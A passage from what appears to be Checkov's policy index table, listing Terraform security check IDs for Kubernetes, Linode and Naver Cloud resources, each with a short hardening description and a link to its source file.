[DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 4390 | CKV_K8S_21 | resource | kubernetes_job_v1 | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 4391 | CKV_K8S_21 | resource | kubernetes_pod | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 4392 | CKV_K8S_21 | resource | kubernetes_pod_v1 | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 4393 | CKV_K8S_21 | resource | kubernetes_replication_controller | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 4394 | CKV_K8S_21 | resource | kubernetes_replication_controller_v1 | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 4395 | CKV_K8S_21 | resource | kubernetes_role_binding | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 4396 | CKV_K8S_21 | resource | kubernetes_role_binding_v1 | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 4397 | CKV_K8S_21 | resource | kubernetes_secret | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 4398 | CKV_K8S_21 | resource | kubernetes_secret_v1 | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 4399 | CKV_K8S_21 | resource | kubernetes_service | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 4400 | CKV_K8S_21 | resource | kubernetes_service_account | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 4401 | CKV_K8S_21 | resource | kubernetes_service_account_v1 | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 4402 | CKV_K8S_21 | resource | kubernetes_service_v1 | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 4403 | CKV_K8S_21 | resource | kubernetes_stateful_set | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 4404 | CKV_K8S_21 | resource | kubernetes_stateful_set_v1 | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 4405 | CKV_K8S_22 | resource | kubernetes_deployment | Use read-only filesystem for containers where possible | Terraform | [ReadonlyRootFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadonlyRootFilesystem.py) | | 4406 | CKV_K8S_22 | resource | kubernetes_deployment_v1 | Use read-only filesystem for containers where possible | Terraform | [ReadonlyRootFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadonlyRootFilesystem.py) | | 4407 | CKV_K8S_22 | resource | kubernetes_pod | Use read-only filesystem for containers where possible | Terraform | [ReadonlyRootFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadonlyRootFilesystem.py) | | 4408 | CKV_K8S_22 | resource | kubernetes_pod_v1 | Use read-only filesystem for containers where possible | Terraform | [ReadonlyRootFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadonlyRootFilesystem.py) | | 4409 | CKV_K8S_24 | resource | kubernetes_pod_security_policy | Do not allow containers with added capability | Terraform | [AllowedCapabilitiesPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilitiesPSP.py) | | 4410 | CKV_K8S_25 | resource | kubernetes_deployment | Minimize the admission of containers with added capability | Terraform | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilities.py) | | 4411 | CKV_K8S_25 | resource | kubernetes_deployment_v1 | Minimize the admission of containers with added capability | Terraform | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilities.py) | | 4412 | CKV_K8S_25 | resource | kubernetes_pod | Minimize the admission of containers with added capability | Terraform | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilities.py) | | 4413 | CKV_K8S_25 | resource | kubernetes_pod_v1 | Minimize the admission of containers with added capability | Terraform | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilities.py) | | 4414 | CKV_K8S_26 | resource | kubernetes_deployment | Do not specify hostPort unless absolutely necessary | Terraform | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/HostPort.py) | | 4415 | CKV_K8S_26 | resource | kubernetes_deployment_v1 | Do not specify hostPort unless absolutely necessary | Terraform | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/HostPort.py) | | 4416 | CKV_K8S_26 | resource | kubernetes_pod | Do not specify hostPort unless absolutely necessary | Terraform | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/HostPort.py) | | 4417 | CKV_K8S_26 | resource | kubernetes_pod_v1 | Do not specify hostPort unless absolutely necessary | Terraform | [HostPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/HostPort.py) | | 4418 | CKV_K8S_27 | resource | kubernetes_daemon_set_v1 | Do not expose the docker daemon socket to containers | Terraform | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DockerSocketVolume.py) | | 4419 | CKV_K8S_27 | resource | kubernetes_daemonset | Do not expose the docker daemon socket to containers | Terraform | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DockerSocketVolume.py) | | 4420 | CKV_K8S_27 | resource | kubernetes_deployment | Do not expose the docker daemon socket to containers | Terraform | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DockerSocketVolume.py) | | 4421 | CKV_K8S_27 | resource | kubernetes_deployment_v1 | Do not expose the docker daemon socket to containers | Terraform | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DockerSocketVolume.py) | | 4422 | CKV_K8S_27 | resource | kubernetes_pod | Do not expose the docker daemon socket to containers | Terraform | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DockerSocketVolume.py) | | 4423 | CKV_K8S_27 | resource | kubernetes_pod_v1 | Do not expose the docker daemon socket to containers | Terraform | [DockerSocketVolume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DockerSocketVolume.py) | | 4424 | CKV_K8S_28 | resource | kubernetes_deployment | Minimize the admission of containers with the NET_RAW capability | Terraform | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DropCapabilities.py) | | 4425 | CKV_K8S_28 | resource | kubernetes_deployment_v1 | Minimize the admission of containers with the NET_RAW capability | Terraform | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DropCapabilities.py) | | 4426 | CKV_K8S_28 | resource | kubernetes_pod | Minimize the admission of containers with the NET_RAW capability | Terraform | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DropCapabilities.py) | | 4427 | CKV_K8S_28 | resource | kubernetes_pod_v1 | Minimize the admission of containers with the NET_RAW capability | Terraform | [DropCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DropCapabilities.py) | | 4428 | CKV_K8S_29 | resource | kubernetes_daemon_set_v1 | Apply security context to your pods, deployments and daemon_sets | Terraform | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PodSecurityContext.py) | | 4429 | CKV_K8S_29 | resource | kubernetes_daemonset | Apply security context to your pods, deployments and daemon_sets | Terraform | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PodSecurityContext.py) | | 4430 | CKV_K8S_29 | resource | kubernetes_deployment | Apply security context to your pods, deployments and daemon_sets | Terraform | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PodSecurityContext.py) | | 4431 | CKV_K8S_29 | resource | kubernetes_deployment_v1 | Apply security context to your pods, deployments and daemon_sets | Terraform | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PodSecurityContext.py) | | 4432 | CKV_K8S_29 | resource | kubernetes_pod | Apply security context to your pods, deployments and daemon_sets | Terraform | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PodSecurityContext.py) | | 4433 | CKV_K8S_29 | resource | kubernetes_pod_v1 | Apply security context to your pods, deployments and daemon_sets | Terraform | [PodSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PodSecurityContext.py) | | 4434 | CKV_K8S_30 | resource | kubernetes_deployment | Apply security context to your pods and containers | Terraform | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ContainerSecurityContext.py) | | 4435 | CKV_K8S_30 | resource | kubernetes_deployment_v1 | Apply security context to your pods and containers | Terraform | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ContainerSecurityContext.py) | | 4436 | CKV_K8S_30 | resource | kubernetes_pod | Apply security context to your pods and containers | Terraform | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ContainerSecurityContext.py) | | 4437 | CKV_K8S_30 | resource | kubernetes_pod_v1 | Apply security context to your pods and containers | Terraform | [ContainerSecurityContext.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ContainerSecurityContext.py) | | 4438 | CKV_K8S_32 | resource | kubernetes_pod_security_policy | Ensure default seccomp profile set to docker/default or runtime/default | Terraform | [SeccompPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/SeccompPSP.py) | | 4439 | CKV_K8S_34 | resource | kubernetes_deployment | Ensure that Tiller (Helm v2) is not deployed | Terraform | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Tiller.py) | | 4440 | CKV_K8S_34 | resource | kubernetes_deployment_v1 | Ensure that Tiller (Helm v2) is not deployed | Terraform | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Tiller.py) | | 4441 | CKV_K8S_34 | resource | kubernetes_pod | Ensure that Tiller (Helm v2) is not deployed | Terraform | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Tiller.py) | | 4442 | CKV_K8S_34 | resource | kubernetes_pod_v1 | Ensure that Tiller (Helm v2) is not deployed | Terraform | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Tiller.py) | | 4443 | CKV_K8S_35 | resource | kubernetes_deployment | Prefer using secrets as files over secrets as environment variables | Terraform | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Secrets.py) | | 4444 | CKV_K8S_35 | resource | kubernetes_deployment_v1 | Prefer using secrets as files over secrets as environment variables | Terraform | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Secrets.py) | | 4445 | CKV_K8S_35 | resource | kubernetes_pod | Prefer using secrets as files over secrets as environment variables | Terraform | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Secrets.py) | | 4446 | CKV_K8S_35 | resource | kubernetes_pod_v1 | Prefer using secrets as files over secrets as environment variables | Terraform | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/Secrets.py) | | 4447 | CKV_K8S_36 | resource | kubernetes_pod_security_policy | Minimise the admission of containers with capabilities assigned | Terraform | [MinimiseCapabilitiesPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MinimiseCapabilitiesPSP.py) | | 4448 | CKV_K8S_37 | resource | kubernetes_deployment | Minimise the admission of containers with capabilities assigned | Terraform | [MinimiseCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MinimiseCapabilities.py) | | 4449 | CKV_K8S_37 | resource | kubernetes_deployment_v1 | Minimise the admission of containers with capabilities assigned | Terraform | [MinimiseCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MinimiseCapabilities.py) | | 4450 | CKV_K8S_37 | resource | kubernetes_pod | Minimise the admission of containers with capabilities assigned | Terraform | [MinimiseCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MinimiseCapabilities.py) | | 4451 | CKV_K8S_37 | resource | kubernetes_pod_v1 | Minimise the admission of containers with capabilities assigned | Terraform | [MinimiseCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/MinimiseCapabilities.py) | | 4452 | CKV_K8S_39 | resource | kubernetes_deployment | Do not use the CAP_SYS_ADMIN linux capability | Terraform | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilitiesSysAdmin.py) | | 4453 | CKV_K8S_39 | resource | kubernetes_deployment_v1 | Do not use the CAP_SYS_ADMIN linux capability | Terraform | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilitiesSysAdmin.py) | | 4454 | CKV_K8S_39 | resource | kubernetes_pod | Do not use the CAP_SYS_ADMIN linux capability | Terraform | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilitiesSysAdmin.py) | | 4455 | CKV_K8S_39 | resource | kubernetes_pod_v1 | Do not use the CAP_SYS_ADMIN linux capability | Terraform | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowedCapabilitiesSysAdmin.py) | | 4456 | CKV_K8S_41 | resource | kubernetes_service_account | Ensure that default service accounts are not actively used | Terraform | [DefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultServiceAccount.py) | | 4457 | CKV_K8S_41 | resource | kubernetes_service_account_v1 | Ensure that default service accounts are not actively used | Terraform | [DefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultServiceAccount.py) | | 4458 | CKV_K8S_42 | resource | kubernetes_cluster_role_binding | Ensure that default service accounts are not actively used | Terraform | [DefaultServiceAccountBinding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultServiceAccountBinding.py) | | 4459 | CKV_K8S_42 | resource | kubernetes_cluster_role_binding_v1 | Ensure that default service accounts are not actively used | Terraform | [DefaultServiceAccountBinding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultServiceAccountBinding.py) | | 4460 | CKV_K8S_42 | resource | kubernetes_role_binding | Ensure that default service accounts are not actively used | Terraform | [DefaultServiceAccountBinding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultServiceAccountBinding.py) | | 4461 | CKV_K8S_42 | resource | kubernetes_role_binding_v1 | Ensure that default service accounts are not actively used | Terraform | [DefaultServiceAccountBinding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultServiceAccountBinding.py) | | 4462 | CKV_K8S_43 | resource | kubernetes_deployment | Image should use digest | Terraform | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageDigest.py) | | 4463 | CKV_K8S_43 | resource | kubernetes_deployment_v1 | Image should use digest | Terraform | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageDigest.py) | | 4464 | CKV_K8S_43 | resource | kubernetes_pod | Image should use digest | Terraform | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageDigest.py) | | 4465 | CKV_K8S_43 | resource | kubernetes_pod_v1 | Image should use digest | Terraform | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImageDigest.py) | | 4466 | CKV_K8S_44 | resource | kubernetes_service | Ensure that the Tiller Service (Helm v2) is deleted | Terraform | [TillerService.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/TillerService.py) | | 4467 | CKV_K8S_44 | resource | kubernetes_service_v1 | Ensure that the Tiller Service (Helm v2) is deleted | Terraform | [TillerService.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/TillerService.py) | | 4468 | CKV_K8S_49 | resource | kubernetes_cluster_role | Minimize wildcard use in Roles and ClusterRoles | Terraform | [WildcardRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/WildcardRoles.py) | | 4469 | CKV_K8S_49 | resource | kubernetes_cluster_role_v1 | Minimize wildcard use in Roles and ClusterRoles | Terraform | [WildcardRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/WildcardRoles.py) | | 4470 | CKV_K8S_49 | resource | kubernetes_role | Minimize wildcard use in Roles and ClusterRoles | Terraform | [WildcardRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/WildcardRoles.py) | | 4471 | CKV_K8S_49 | resource | kubernetes_role_v1 | Minimize wildcard use in Roles and ClusterRoles | Terraform | [WildcardRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/WildcardRoles.py) | | 4472 | CKV_K8S_159 | resource | kubernetes_deployment | Do not admit privileged containers | Terraform | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DangerousGitSync.py) | | 4473 | CKV_K8S_159 | resource | kubernetes_deployment_v1 | Do not admit privileged containers | Terraform | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DangerousGitSync.py) | | 4474 | CKV_K8S_159 | resource | kubernetes_pod | Do not admit privileged containers | Terraform | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DangerousGitSync.py) | | 4475 | CKV_K8S_159 | resource | kubernetes_pod_v1 | Do not admit privileged containers | Terraform | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DangerousGitSync.py) | | 4476 | CKV_LIN_1 | provider | linode | Ensure no hard coded Linode tokens exist in provider | Terraform | [credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/provider/linode/credentials.py) | | 4477 | CKV_LIN_2 | resource | linode_instance | Ensure SSH key set in authorized_keys | Terraform | [authorized_keys.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/linode/authorized_keys.py) | | 4478 | CKV_LIN_3 | resource | linode_user | Ensure email is set | Terraform | [user_email_set.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/linode/user_email_set.py) | | 4479 | CKV_LIN_4 | resource | linode_user | Ensure username is set | Terraform | [user_username_set.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/linode/user_username_set.py) | | 4480 | CKV_LIN_5 | resource | linode_firewall | Ensure Inbound Firewall Policy is not set to ACCEPT | Terraform | [firewall_inbound_policy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/linode/firewall_inbound_policy.py) | | 4481 | CKV_LIN_6 | resource | linode_firewall | Ensure Outbound Firewall Policy is not set to ACCEPT | Terraform | [firewall_outbound_policy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/linode/firewall_outbound_policy.py) | | 4482 | CKV_NCP_1 | resource | ncloud_lb_target_group | Ensure HTTP HTTPS Target group defines Healthcheck | Terraform | [LBTargetGroupDefinesHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/LBTargetGroupDefinesHealthCheck.py) | | 4483 | CKV_NCP_2 | resource | ncloud_access_control_group | Ensure every access control groups rule has a description | Terraform | [AccessControlGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/AccessControlGroupRuleDescription.py) | | 4484 | CKV_NCP_2 | resource | ncloud_access_control_group_rule | Ensure every access control groups rule has a description | Terraform | [AccessControlGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/AccessControlGroupRuleDescription.py) | | 4485 | CKV_NCP_3 | resource | ncloud_access_control_group_rule | Ensure no security group rules allow outbound traffic to 0.0.0.0/0 | Terraform | [AccessControlGroupOutboundRule.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/AccessControlGroupOutboundRule.py) | | 4486 | CKV_NCP_4 | resource | ncloud_access_control_group_rule | Ensure no access control groups allow inbound from 0.0.0.0:0 to port 22 | Terraform | [AccessControlGroupInboundRulePort22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/AccessControlGroupInboundRulePort22.py) | | 4487 | CKV_NCP_5 | resource | ncloud_access_control_group_rule | Ensure no access control groups allow inbound from 0.0.0.0:0 to port 3389 | Terraform | [AccessControlGroupInboundRulePort3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/AccessControlGroupInboundRulePort3389.py) | | 4488 | CKV_NCP_6 | resource | ncloud_server | Ensure Server instance is encrypted. | Terraform | [ServerEncryptionVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/ServerEncryptionVPC.py) | | 4489 | CKV_NCP_7 | resource | ncloud_launch_configuration | Ensure Basic Block storage is encrypted. | Terraform | [LaunchConfigurationEncryptionVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/LaunchConfigurationEncryptionVPC.py) | | 4490 | CKV_NCP_8 | resource | ncloud_network_acl_rule | Ensure no NACL allow inbound from 0.0.0.0:0 to port 20 | Terraform | [NACLInbound20.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NACLInbound20.py) | | 4491 | CKV_NCP_9 | resource | ncloud_network_acl_rule | Ensure no NACL allow inbound from 0.0.0.0:0 to port 21 | Terraform | [NACLInbound21.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NACLInbound21.py) | | 4492 | CKV_NCP_10 | resource | ncloud_network_acl_rule | Ensure no NACL allow inbound from 0.0.0.0:0 to port 22 | Terraform | [NACLInbound22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NACLInbound22.py) | | 4493 | CKV_NCP_11 | resource | ncloud_network_acl_rule | Ensure no NACL allow inbound from 0.0.0.0:0 to port 3389 | Terraform | [NACLInbound3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NACLInbound3389.py) | | 4494 | CKV_NCP_12 | resource | ncloud_network_acl_rule | An inbound Network ACL rule should not allow ALL ports. | Terraform | [NACLPortCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NACLPortCheck.py) | | 4495 | CKV_NCP_13 | resource | ncloud_lb_listener | Ensure LB Listener uses only secure protocols | Terraform | [LBListenerUsesSecureProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/LBListenerUsesSecureProtocols.py) | | 4496 | CKV_NCP_14 | resource | ncloud_nas_volume | Ensure NAS is securely encrypted | Terraform | [NASEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NASEncryptionEnabled.py) | | 4497 | CKV_NCP_15 | resource | ncloud_lb_target_group | Ensure Load Balancer Target Group is not using HTTP | Terraform | [LBTargetGroupUsingHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/LBTargetGroupUsingHTTPS.py) | | 4498 | CKV_NCP_16 | resource | ncloud_lb | Ensure Load Balancer isn't exposed to the internet | Terraform | [LBNetworkPrivate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/LBNetworkPrivate.py) | | 4499 | CKV_NCP_18 | resource | ncloud_auto_scaling_group | Ensure that auto Scaling groups that are associated with a load balancer, are using Load Balancing health checks. | Terraform | [AutoScalingEnabledLB.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ncp/AutoScalingEnabledLB.yaml) | | 4500 | CKV_NCP_18 | resource | ncloud_lb_target_group | Ensure that auto Scaling groups that are associated with a load balancer, are using Load Balancing health checks. | Terraform | [AutoScalingEnabledLB.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ncp/AutoScalingEnabledLB.yaml) | | 4501 | CKV_NCP_19 | resource | ncloud_nks_cluster | Ensure Naver Kubernetes Service public endpoint disabled | Terraform | [NKSPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NKSPublicAccess.py) | | 4502 | CKV_NCP_20 | resource | ncloud_route | Ensure Routing Table associated with Web tier subnet have the default route (0.0.0.0/0) defined to allow connectivity | Terraform | [RouteTableNATGatewayDefault.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/RouteTableNATGatewayDefault.py) | | 4503 | CKV_NCP_22 | resource | ncloud_nks_cluster | Ensure NKS control plane logging enabled for all log types | Terraform | [NKSControlPlaneLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NKSControlPlaneLogging.py) | | 4504 | CKV_NCP_22 | resource | ncloud_route_table | Ensure a route table for the public subnets is created. | Terraform | [RouteTablePublicSubnetConnection.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ncp/RouteTablePublicSubnetConnection.yaml) | | 4505 | CKV_NCP_22 | resource | ncloud_subnet | Ensure a route table for the public subnets is created. | Terraform | [RouteTablePublicSubnetConnection.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ncp/RouteTablePublicSubnetConnection.yaml) | | 4506 | CKV_NCP_23 | resource | ncloud_public_ip | Ensure Server instance should not have public IP. | Terraform | [ServerPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/ServerPublicIP.py) | | 4507 | CKV_NCP_24 | resource | ncloud_lb_listener | Ensure Load Balancer Listener Using HTTPS | Terraform | [LBListenerUsingHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/LBListenerUsingHTTPS.py) | | 4508 | CKV_NCP_25 | resource | ncloud_access_control_group_rule | Ensure no access control groups allow inbound from 0.0.0.0:0 to port 80 | Terraform | [AccessControlGroupInboundRulePort80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/AccessControlGroupInboundRulePort80.py) | | 4509 | CKV_NCP_26 | resource | ncloud_access_control_group | Ensure Access Control Group has Access Control Group Rule attached | Terraform | [AccessControlGroupRuleDefine.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ncp/AccessControlGroupRuleDefine.yaml) | | 4510 | 